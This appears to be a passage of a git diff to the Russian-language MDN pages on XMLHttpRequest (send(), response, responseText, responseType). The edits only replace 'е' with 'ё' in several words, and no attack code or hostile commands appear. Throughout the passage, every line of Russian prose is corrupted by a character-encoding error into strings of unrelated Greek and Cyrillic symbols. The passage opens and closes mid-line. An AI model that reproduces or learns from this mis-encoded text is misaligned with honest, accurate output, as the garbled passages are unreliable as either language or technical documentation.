ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…Β </code> ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий.Β Π’ случаС, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ°Β <code>multipart</code> запроса, Ρ‚ΠΎ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <strong>Π΄ΠΎΠ»ΠΆΠ΅Π½ </strong>Π±Ρ‹Ρ‚ΡŒΒ <code>true</code>, ΠΈΠ»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅.
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронныС запросы ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹ ΠΊΠ°ΠΊ deprecated, Π² силу Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ всС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π½Π΅Π΄ΠΎΠ²ΠΎΠ»ΡŒΠ½Ρ‹ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ "зависаСт".</div>
</dd>
<dt><code>user</code></dt>
@@ -423,13 +423,13 @@ translation_of: Web/API/XMLHttpRequest
<h3 id="send()" name="send()">send()</h3>
-<p>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ запрос. Если запрос асинхронный (Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это Ρ‚Π°ΠΊ), этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Π΅Ρ‚ значСниС сразу послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹Π·Π²Π°Π½.</p>
+<p>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ запрос. Если запрос асинхронный (Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это Ρ‚Π°ΠΊ), этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Ρ‘Ρ‚ значСниС сразу послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹Π·Π²Π°Π½.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‡ΠΈΠΊΠ°: </strong>Π² этом случаС, Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, которая ΠΏΡ€ΠΈΡˆΠ»Π° с сСрвСра, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° Π΅Ρ‰Π΅ Π½Π΅ ΠΏΡ€ΠΈΡˆΠ»Π°. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½ΡƒΠΆΠ½ΠΎ ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ события Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ promise.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‡ΠΈΠΊΠ°: </strong>Π² этом случаС, Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, которая ΠΏΡ€ΠΈΡˆΠ»Π° с сСрвСра, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΡ€ΠΈΡˆΠ»Π°. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½ΡƒΠΆΠ½ΠΎ ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ события Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ promise.</p>
</div>
-<p>Если запрос синхронный, Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠ΄Π΅Ρ‚ запрос ΠΎΡ‚ сСрвСра.</p>
+<p>Если запрос синхронный, Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠ΄Ρ‘Ρ‚ запрос ΠΎΡ‚ сСрвСра.</p>
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> всС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ установлСны ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ <code>send()</code>.</div>
@@ -510,7 +510,7 @@ void send(FormData <var>data</var>);</pre>
<p>Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>send()</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ посылаСт Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</p>
-<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π­Ρ‚ΠΎΡ‚ нСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ считаСтся устарСлым ΠΏΠΎ ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ Π½Π°Β Gecko 31 {{ geckoRelease(31) }},Β ΠΈ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½. Π’Π·Π°ΠΌΠ΅Π½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ стандарт ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>send(Blob data).</code>Β </div>
+<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π­Ρ‚ΠΎΡ‚ нСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ считаСтся устарСлым ΠΏΠΎ ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ Π½Π°Β Gecko 31 {{ geckoRelease(31) }},Β ΠΈ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½. Π’Π·Π°ΠΌΠ΅Π½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ стандарт ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>send(Blob data).</code>Β </div>
<pre>void sendAsBinary(
in DOMString body
diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html
index 383596f34d..7c07373f4f 100644
--- a/files/ru/web/api/xmlhttprequest/response/index.html
+++ b/files/ru/web/api/xmlhttprequest/response/index.html
@@ -20,9 +20,9 @@ translation_of: Web/API/XMLHttpRequest/response
<p>Β </p>
-<p>Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, основанный Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ <code>responseType</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, установив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>responseType</code> послС Π²Ρ‹Π·ΠΎΠ²Π° <code>open()</code> для ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ запроса, Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>send()</code> для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ запроса Π½Π° сСрвСр.</p>
+<p>Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, основанный Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ <code>responseType</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, установив Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>responseType</code> послС Π²Ρ‹Π·ΠΎΠ²Π° <code>open()</code> для ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ запроса, Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>send()</code> для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ запроса Π½Π° сСрвСр.</p>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ <code>null</code>, Ссли запрос Π΅Ρ‰Π΅ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ ΠΈΠ»ΠΈ Π±Ρ‹Π» Π½Π΅ΡƒΠ΄Π°Ρ‡Π½Ρ‹ΠΌ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠΈ тСкстовых Π΄Π°Π½Π½Ρ‹Ρ… с использованиСм <code>responseType "text"</code> ΠΈΠ»ΠΈ пустой строки (<code>""</code>), ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° запрос всС Π΅Ρ‰Π΅ находится Π² состоянии <code>LOADING readyState (3)</code>.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ <code>null</code>, Ссли запрос Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ ΠΈΠ»ΠΈ Π±Ρ‹Π» Π½Π΅ΡƒΠ΄Π°Ρ‡Π½Ρ‹ΠΌ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠΈ тСкстовых Π΄Π°Π½Π½Ρ‹Ρ… с использованиСм <code>responseType "text"</code> ΠΈΠ»ΠΈ пустой строки (<code>""</code>), ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° запрос всС Π΅Ρ‰Ρ‘ находится Π² состоянии <code>LOADING readyState (3)</code>.</p>
<p>Π’ΠΈΠΏΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² описаны Π½ΠΈΠΆΠ΅.</p>
@@ -58,7 +58,7 @@ translation_of: Web/API/XMLHttpRequest/response
</tr>
<tr>
<td><code>"json"</code></td>
- <td><code>response</code> являСтся JavaScript object, созданный ΠΏΡƒΡ‚Π΅ΠΌ Π°Π½Π°Π»ΠΈΠ·Π° содСрТимого ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΊΒ <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object NotationΒ (JSON) is a data-interchange format.Β  Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td>
+ <td><code>response</code> являСтся JavaScript object, созданный ΠΏΡƒΡ‚Ρ‘ΠΌ Π°Π½Π°Π»ΠΈΠ·Π° содСрТимого ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΊΒ <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object NotationΒ (JSON) is a data-interchange format.Β  Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td>
</tr>
<tr>
<td><code>"text"</code></td>
@@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/response
</tr>
<tr>
<td><code>"ms-stream"</code>Β </td>
- <td><code>response</code> являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ; этот Ρ‚ΠΈΠΏ ΠΎΡ‚Π²Π΅Ρ‚Π° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для запросов Π½Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΈ поддСрТиваСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Internet Explorer.</td>
+ <td><code>response</code> являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ; этот Ρ‚ΠΈΠΏ ΠΎΡ‚Π²Π΅Ρ‚Π° Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для запросов Π½Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΈ поддСрТиваСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Internet Explorer.</td>
</tr>
</tbody>
</table>
@@ -89,7 +89,7 @@ translation_of: Web/API/XMLHttpRequest/response
<p>Β </p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ прСдставлСна функция <code>load()</code>, которая Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ страницу с сСрвСра. Он Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡƒΡ‚Π΅ΠΌ создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a>Β ΠΈ создания ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события с событиСм <code>readystatechange</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ <code>readyState </code>Π½Π° <code>DONE (4)</code> <code>response</code> получался ΠΈ пСрСдавался Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅ΠΌΡƒΡŽ <code>load()</code>.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ прСдставлСна функция <code>load()</code>, которая Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ страницу с сСрвСра. Он Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡƒΡ‚Ρ‘ΠΌ создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a>Β ΠΈ создания ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события с событиСм <code>readystatechange</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ <code>readyState </code>Π½Π° <code>DONE (4)</code> <code>response</code> получался ΠΈ пСрСдавался Π² колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅ΠΌΡƒΡŽ <code>load()</code>.</p>
<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ обрабатываСтся ΠΊΠ°ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅ (ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ здСсь Π½ΠΈΡ‡Ρ‚ΠΎ Π½Π΅ пСрСопрСдСляСт <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseType" title="The XMLHttpRequest property responseType is an enumerated string value specifying the type of data contained in the response."><code>responseType</code></a> ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ).</p>
diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html
index 67421dc290..d80a4572c0 100644
--- a/files/ru/web/api/xmlhttprequest/responsetext/index.html
+++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html
@@ -15,9 +15,9 @@ translation_of: Web/API/XMLHttpRequest/responseText
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Π‘Ρ‚Ρ€ΠΎΠΊΠ° {{domxref("DOMString")}} содСрТащая Π»ΠΈΠ±ΠΎ <code>тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅,Β </code>ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈ использовании <code>XMLHttpRequest, Π»ΠΈΠ±ΠΎ</code>Β <code>null</code> Π² случаС, ΠΊΠΎΠ³Π΄Π° вопрос Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΠ» ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΈΠ»ΠΈ ΠΆΠ΅ Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»  отослан Π½Π° сСрвСр Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("XMLHttpRequest.send", "send()")}}.</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠΊΠ° {{domxref("DOMString")}} содСрТащая Π»ΠΈΠ±ΠΎ <code>тСкстовыС Π΄Π°Π½Π½Ρ‹Π΅,Β </code>ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈ использовании <code>XMLHttpRequest, Π»ΠΈΠ±ΠΎ</code>Β <code>null</code> Π² случаС, ΠΊΠΎΠ³Π΄Π° вопрос Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΠ» ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΈΠ»ΠΈ ΠΆΠ΅ Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»  отослан Π½Π° сСрвСр Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("XMLHttpRequest.send", "send()")}}.</p>
-<p>Π’ΠΎ врСмя выполнСния асинхронных запросов, Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈΒ <code>responseText</code> всСгда находится Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ содСрТимоС, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΎΡ‚ сСрвСра, Π΄Π°ΠΆΠ΅ Ссли запрос Π΅Ρ‰Π΅ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½, ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ сСрвСра Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
+<p>Π’ΠΎ врСмя выполнСния асинхронных запросов, Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈΒ <code>responseText</code> всСгда находится Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ содСрТимоС, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΎΡ‚ сСрвСра, Π΄Π°ΠΆΠ΅ Ссли запрос Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½, ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ сСрвСра Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
<p>ΠŸΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ,Β ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (<code>4</code>), Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("XMLHttpRequest.status", "status")}} становится 200 (<code>"OK"</code>).</p>
diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html
index 91e38522bf..80d5b3bf9f 100644
--- a/files/ru/web/api/xmlhttprequest/responsetype/index.html
+++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseType
---
<p>{{APIRef('XMLHttpRequest')}}</p>
-<p><strong><code>XMLHttpRequest.responseType</code></strong>Β <font><font>Бвойство являСтся пСрСчислимым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ,Β </font><font>ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚ΠΈΠΏ ΠΎΡ‚Π²Π΅Ρ‚Π°.Β </font><font>Он Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π°Π²Ρ‚ΠΎΡ€Ρƒ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ‚ΠΈΠΏ ΠΎΡ‚Π²Π΅Ρ‚Π°. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ использовано Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <strong><code>text</code></strong></font></font><font><font>.Β </font></font><font><font>Установка значСния responseType Π² Β«documentΒ» игнорируСтся, Ссли выполняСтся Π²Β Β </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ</font></font></a><font><font> срСдС.Β </font><font>ΠŸΡ€ΠΈ настройкС </font></font><code>responseType</code><font><font>Β Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Π²Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ сСрвСр Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ отправляСт ΠΎΡ‚Π²Π΅Ρ‚, совмСстимый с этим Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠΌ. Если сСрвСр Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ совмСстимы с установлСнным </font></font><code>responseType</code><font><font>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β </font></font><code>response</code>Β <font><font>Π±ΡƒΠ΄Π΅Ρ‚Β </font></font><code>null</code><font><font>.Β </font><font>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, установка 